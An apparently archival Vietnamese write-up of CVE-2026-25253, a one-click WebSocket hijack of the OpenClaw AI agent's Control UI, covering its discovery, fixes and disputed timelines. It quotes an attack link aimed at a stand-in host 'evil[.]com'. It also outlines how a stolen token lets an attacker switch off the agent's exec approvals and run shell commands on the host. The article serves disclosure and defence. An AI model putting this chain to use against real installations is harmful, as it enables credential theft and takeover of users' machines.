Chiếm đoạt WebSocket của giao diện điều khiển OpenClaw: một liên kết dẫn đến RCE

Vào ngày 29 tháng 1 năm 2026, công ty bảo mật Ethiack đã công bố bài tường thuật của mình về một lỗ hổng trong OpenClaw, tác nhân AI cá nhân mã nguồn mở chạy trên máy của chính người dùng và được điều khiển từ bảng điều khiển trên trình duyệt có tên Control UI. Một liên kết được dựng sẵn có thể khiến bảng điều khiển đó trao cho kẻ tấn công mã thông báo xác thực của gateway, và cùng với đó là khả năng chạy các lệnh shell với tư cách người dùng đã đăng nhập. CVE-2026-25253 tiếp theo vào ngày 1 tháng 2 năm 2026 và khuyến cáo của chính dự án vào ngày hôm sau, cả hai đều đánh giá lỗ hổng ở mức 8,8, cao. Mọi triển khai mà ai đó đã đăng nhập vào Control UI đều nằm trong phạm vi, bao gồm cả các phiên bản chỉ truy cập được qua loopback. Không có nguồn nào được đọc cho bài viết này ghi nhận lỗ hổng bị sử dụng nhằm vào một người dùng thật. Kho lưu trữ xếp sự việc này là một sự cố hạ tầng có mức độ nghiêm trọng cao với mức xếp hạng tin cậy B và ngày có độ chính xác đến ngày là 29 tháng 1 năm 2026, cùng với các mục bảo mật tác nhân khác của nó trong Orca AI Incident Archive.

Control UI đã làm gì với một URL

OpenClaw là một agent tự triển khai mà người dùng truy cập qua các ứng dụng nhắn tin và bảng điều khiển web, đồng thời hoạt động với thứ mà bài viết của Ethiack gọi là "quyền truy cập toàn hệ thống". Dự án đã từng được đổi tên nhiều lần, mang các tên Clawdbot và Moltbot trước OpenClaw, và sổ đăng ký npm ghi nhận gói openclaw được tạo vào ngày 29 tháng 1 năm 2026 lúc 11:08 UTC. Bảng điều khiển là phần quan trọng ở đây: nó lưu token gateway trong bộ nhớ trình duyệt, và đó là nơi lỗ hổng tồn tại.

The Control UI read a gatewayUrl value out of the page's query string in a function named applySettingsFromUrl() and adopted it without checking whether the target was a trusted or local domain. It then connected to that address automatically on page load, with no prompt, and the WebSocket connect frame carried the stored gateway authentication token along with a device ID and public key (SonicWall Capture Labs, 26 February 2026). A link of the form http://<target>/chat?gatewayUrl=ws://evil[.]com was therefore enough to send the token to a server the attacker controlled. OpenClaw's own advisory states the behaviour plainly: "The Control UI trusts gatewayUrl from the query string without validation and auto-connects on load, sending the stored gateway token in the WebSocket connect payload."

Hai đặc điểm của trình duyệt biến rò rỉ đó thành một cuộc chiếm quyền điều khiển. Trình duyệt không áp dụng chính sách cùng nguồn gốc cho các kết nối WebSocket giống như cách chúng áp dụng cho các yêu cầu HTTP thông thường, và gateway đã không xác thực tiêu đề Origin trong quá trình nâng cấp, nên JavaScript trên một trang mà nạn nhân đã truy cập có thể mở một socket thẳng tới ws://localhost:18789 (depthfirst, ngày 1 tháng 2 năm 2026). Vì chính trình duyệt của nạn nhân thực hiện kết nối ra ngoài, cuộc tấn công đã chạm tới các gateway được gắn với loopback và không thể thấy từ mạng. "Lỗ hổng này có thể bị khai thác ngay cả trên các phiên bản được cấu hình chỉ lắng nghe trên loopback, vì trình duyệt của nạn nhân khởi tạo kết nối ra ngoài," thông báo bảo mật của dự án cho biết. Ethiack đã ghi nhận thêm một điều kiện nữa vào thời điểm đó: bản dựng Chrome ổn định mà họ kiểm thử không có sẵn quyền Local Network Access theo mặc định, nên trình duyệt cũng không hiển thị lời nhắc nào.

Điều mà token bị đánh cắp mang lại chính là phần còn lại của câu chuyện. Nó mang các scope operator.admin và operator.approvals. Với những scope đó, kẻ tấn công có thể tắt phê duyệt thực thi bằng cách đặt exec.approvals.set thành "off", di chuyển host thực thi ra khỏi container bằng cách đặt tools.exec.host thành "gateway", rồi chạy các lệnh shell trên host thông qua một yêu cầu node.invoke / system.run (depthfirst, 1 tháng 2 năm 2026; The Hacker News, 2 tháng 2 năm 2026). Khuyến cáo của nhà cung cấp tóm tắt kết quả trong một mệnh đề: kẻ tấn công có thể "sửa đổi cấu hình (sandbox, chính sách công cụ) và gọi các hành động đặc quyền, đạt được RCE chỉ với 1 cú nhấp chuột".

Được một cỗ máy tìm ra trong chưa đầy hai giờ

Bản thân việc phát hiện cũng là một bài tập AI. Ethiack đã thả Hackian, tác nhân kiểm thử xâm nhập tự động của mình, vào một phiên bản OpenClaw đang chạy thực tế lúc 13:21 UTC ngày 26 tháng 1 năm 2026. Đến 15:05 UTC, tức khoảng một giờ bốn mươi phút sau, nó xác nhận lỗ hổng — con số mà bài viết của Ethiack đưa lên tiêu đề. Công ty báo cáo sự việc cho những người duy trì OpenClaw lúc 18:02 UTC. Theo dòng thời gian Ethiack công bố và lịch sử commit của dự án, một pull request được tạo sau đó vào ngày 27 tháng 1 và bản sửa lỗi đã vào nhánh chính vào tối ngày 28 tháng 1.

Một nhóm thứ hai đã đi đến cùng kết luận một cách độc lập. Mav Levin, một nhà nghiên cứu bảo mật sáng lập tại depthfirst, đã công bố bài viết của riêng mình vào ngày 1 tháng 2 năm 2026, viết rằng "Nhóm OpenClaw đã nhanh chóng giải quyết và khắc phục vấn đề tôi báo cáo" và rằng một người khác đã báo cáo độc lập cùng lỗi đó. Khuyến cáo bảo mật của GitHub ghi nhận DepthFirstDisclosures là người báo cáo và liệt kê cả 0xacb và mavlevin trong số những người phát hiện. Tài khoản 0xacb mang tên hồ sơ là André Baptista, một trong ba đồng tác giả của bài viết Ethiack, điều này phù hợp với dòng thời gian: pull request của Ethiack đối với bản sửa lỗi đã được mở từ tài khoản đó vào ngày 27 tháng 1 và commit của những người bảo trì cảm ơn tài khoản này đích danh. Không có nguồn nào được đọc cho bài viết này nói rằng hai nỗ lực biết về nhau trước khi công bố, và không nguồn nào phản bác việc ghi công.

Ngày của bản ghi, và những ngày xung quanh nó

Kho lưu trữ ghi ngày cho mục này là 29 tháng 1 năm 2026 với độ chính xác đến ngày, và điều đó khớp với ngày nghiên cứu của Ethiack được công bố. Bản sửa mã đã được đưa vào từ ngày hôm trước. Bản phát hành có gắn thẻ chứa nó theo sau vào rạng sáng ngày 30 tháng 1 theo giờ UTC, tức là buổi tối ngày 29 tháng 1 theo giờ Thái Bình Dương của Hoa Kỳ: npm ghi nhận phiên bản 2026.1.29 lúc 04:49 UTC ngày 30 tháng 1 và bản phát hành GitHub lúc 05:26 UTC. Bản ghi CVE của MITRE được ghi ngày 1 tháng 2 năm 2026 lúc 22:34 UTC, khuyến cáo của GitHub ngày 2 tháng 2 lúc 23:41 UTC, và The Hacker News đưa tin về lỗ hổng này vào ngày 2 tháng 2.

Nguồn được trích dẫn của hồ sơ, trình theo dõi sự cố tác nhân của Permission Protocol, duy trì dòng thời gian riêng và một số phần trong đó bị chậm. Trình theo dõi này đặt bản phát hành vá lỗi vào ngày 2026-01-29, phù hợp với số phiên bản, nhưng lại định ngày cho "các báo cáo ban đầu" về lỗ hổng là 2026-02-12 và ngày công bố rộng rãi cho công chúng CVE-2026-25253 là 2026-02-26, cùng các bài tổng hợp độc lập vào 2026-03-24. Các tài liệu chính nói khác. Ngày 26 tháng 2 tương ứng với phân tích bản vá của SonicWall, được công bố ba tuần rưỡi sau khi định danh đã tồn tại, còn ngày 12 tháng 2 nằm giữa hai bài viết nghiên cứu và phân tích của nhà cung cấp chứ không phải trước chúng. Dòng cuối cùng trong dòng thời gian của trình theo dõi cũng gọi cơ chế này là "zero-click"; khuyến cáo của nhà cung cấp gọi là 1-click, và mọi tường thuật đã công bố đều mô tả một nạn nhân phải mở một liên kết. Ở những chỗ ngày tháng và nhãn khác nhau đó, bài viết này theo hồ sơ CVE, khuyến cáo của nhà cung cấp và hai bài viết nghiên cứu.

Có một lưu ý về nguồn đó đáng được nói rõ. Permission Protocol bán một cổng ủy quyền, và mục của nó định khung sự cố xoay quanh những gì sản phẩm của chính họ lẽ ra đã chặn được. Trang này gọi đánh giá đó là có điều kiện và tự nói rằng “nguồn không thiết lập được kết quả ngăn chặn của sản phẩm”. Điều mà hồ sơ thực sự ghi lại chính xác là cách định khung của nó: nghiên cứu đã được công bố ba ngày trước khi CVE tồn tại, đó là lý do kho lưu trữ gọi đây là một phát hiện sớm trước CVE-2026-25253.

Điều gì thực sự đã bị tổn hại

Không có gì, theo như bất kỳ nguồn nào ghi lại. Kho lưu trữ đánh dấu bản ghi real_harm là false, và điều đó nhất quán với mọi thứ được công bố xung quanh nó. Trung tâm An ninh mạng của Bỉ đã phát hành một khuyến cáo vào ngày 2 tháng 2 năm 2026 nêu rằng "Hiện tại không có bằng chứng nào cho thấy lỗ hổng này đã bị khai thác trong thực tế". Cả Ethiack, depthfirst, SonicWall lẫn The Hacker News đều không báo cáo về nạn nhân, một bản cài đặt bị xâm phạm hay dữ liệu bị lấy đi, và không ai trong số họ đưa ra con số về số lượng bản cài đặt đã bị phơi nhiễm. Ethiack chỉ nhận xét rằng có "rất nhiều phiên bản đang chạy trên các máy chủ công khai" với cấu hình yếu, đó là một cảm nhận chứ không phải một con số thống kê.

Điều thực sự tồn tại là mã khai thác đang hoạt động. Ethiack đã công bố toàn bộ mã nguồn khai thác cùng với bài phân tích của mình và trình diễn chuỗi khai thác đó trên phiên bản của chính họ. Phân tích tháng Hai của SonicWall cho thấy việc đánh cắp token “bằng một mã khai thác có sẵn công khai”. Một kho lưu trữ bằng chứng khái niệm của bên thứ ba đã xuất hiện trên GitHub vào ngày 9 tháng 3 năm 2026. Mã khai thác công khai không giống với việc khai thác, và cờ đánh dấu tác hại của kho lưu trữ nói về điều sau.

Một nguồn kém chặt chẽ hơn các nguồn còn lại và đáng được lưu ý. Phần rủi ro trong khuyến nghị của Bỉ mô tả chính bot là thứ hiển thị nội dung do kẻ tấn công kiểm soát như tác nhân kích hoạt, nhưng đó không phải cơ chế trong khuyến nghị của nhà cung cấp hay trong cả hai bài viết nghiên cứu: trong cả ba, trình duyệt của nạn nhân bị dụ đến một liên kết và agent mới là mục tiêu, chứ không phải phương tiện phát tán. Tuyên bố về khai thác của nó là phần có thể trích dẫn; phần tóm tắt cơ chế thì không.

Điều gì đã thay đổi và điều gì bản sửa lỗi đầu tiên vẫn để ngỏ

Bản sửa lỗi trong 2026.1.29 đã thêm một hộp thoại xác nhận trước khi Control UI chuyển sang một URL gateway khác. Khuyến cáo của dự án mô tả thay đổi này như sau: "Với thay đổi này, người dùng giờ đây cần xác nhận URL gateway mới trong giao diện", và tệp hiển thị hộp thoại đó có mặt trong thẻ v2026.1.29. Điều này làm tăng chi phí của cuộc tấn công từ một cú nhấp chuột lên thành một cú nhấp chuột cộng với một lần xác nhận có chủ đích. Nó không loại bỏ được sự tin cậy tiềm ẩn vào một tham số URL.

Xác thực Origin, nửa còn lại của chuỗi, xuất hiện muộn hơn. Phân tích bản vá của SonicWall ghi rằng "Các bản cập nhật sau đã triển khai các kiểm soát xác thực origin nghiêm ngặt", liệt kê bốn bước kiểm tra: từ chối tiêu đề Origin bị thiếu hoặc không hợp lệ; cho phép máy chủ Origin khớp với tiêu đề Host; cho phép loopback đến loopback; cho phép các origin được nêu trong danh sách allowedOrigins đã cấu hình; và từ chối mọi thứ còn lại. Trình tự này có thể thấy trong mã nguồn của dự án tại thẻ v2026.1.29, nơi trình xử lý nâng cấp WebSocket đọc và ghi nhật ký tiêu đề Origin mà không áp dụng chính sách nào cho nó.

Các phản hồi khác là phát hiện chứ không phải mã. SonicWall đã phát hành chữ ký IPS 21908 cho cái mà họ gọi là lộ dữ liệu nhạy cảm OpenClaw. depthfirst khuyến nghị nâng cấp và xoay vòng token gateway nếu nghi ngờ bị lộ, điều này xuất phát trực tiếp từ cơ chế: token bị đánh cắp vẫn hợp lệ cho đến khi ai đó thay đổi nó.

Điều gì đã được xác lập, và điều gì chưa.

Đã xác lập, từ các tài liệu gốc: đường dẫn mã dễ bị tổn thương đọc gatewayUrl từ chuỗi truy vấn và tự động kết nối mà không xác thực; khung kết nối mang token đã lưu; gateway không xác thực origin WebSocket, nên trình duyệt trên bất kỳ trang nào cũng có thể truy cập loopback; token mang phạm vi quản trị và phê duyệt; các phiên bản trước 2026.1.29 bị ảnh hưởng; và hai nhóm đã phát hiện lỗ hổng này một cách độc lập, một trong số đó là một tác nhân tự trị làm việc từ bên ngoài.

Chưa được xác lập: rằng có ai đã khai thác nó, có bao nhiêu bản cài đặt có thể tiếp cận được vào thời điểm đó, và liệu chỉ riêng hộp thoại xác nhận có vô hiệu hóa được một kẻ tấn công quyết tâm hay không. Xếp hạng B của kho lưu trữ phản ánh cơ sở trích dẫn chỉ gồm một trình theo dõi thứ cấp, chứ không phải bất kỳ nghi ngờ nào về cơ chế vận hành, và bản ghi không bị đánh dấu là đang tranh chấp. Những cơ chế đó được củng cố bởi khuyến cáo của nhà cung cấp, bởi bản ghi CVE của MITRE và bởi hai bài viết nghiên cứu độc lập, tức là nhiều hơn những gì bản thân bản ghi tự khẳng định.

Bản tóm tắt một dòng của kho lưu trữ gọi đây là một phát hiện sớm trước CVE-2026-25253, và đó là cách đúng để đọc mục này: một bản ghi về một lỗ hổng được tìm thấy, báo cáo và sửa trước khi nó có mã định danh, trong một sản phẩm được xây dựng để chạy lệnh trên chính máy mà nó sống trên đó. CVE sau đó mô tả cùng ba hành vi, một tham số truy vấn, một kết nối không được yêu cầu và một token trong quá trình bắt tay, và không có nguồn nào được đọc cho bài này cho thấy có bất kỳ ai ở đầu bên kia của nó.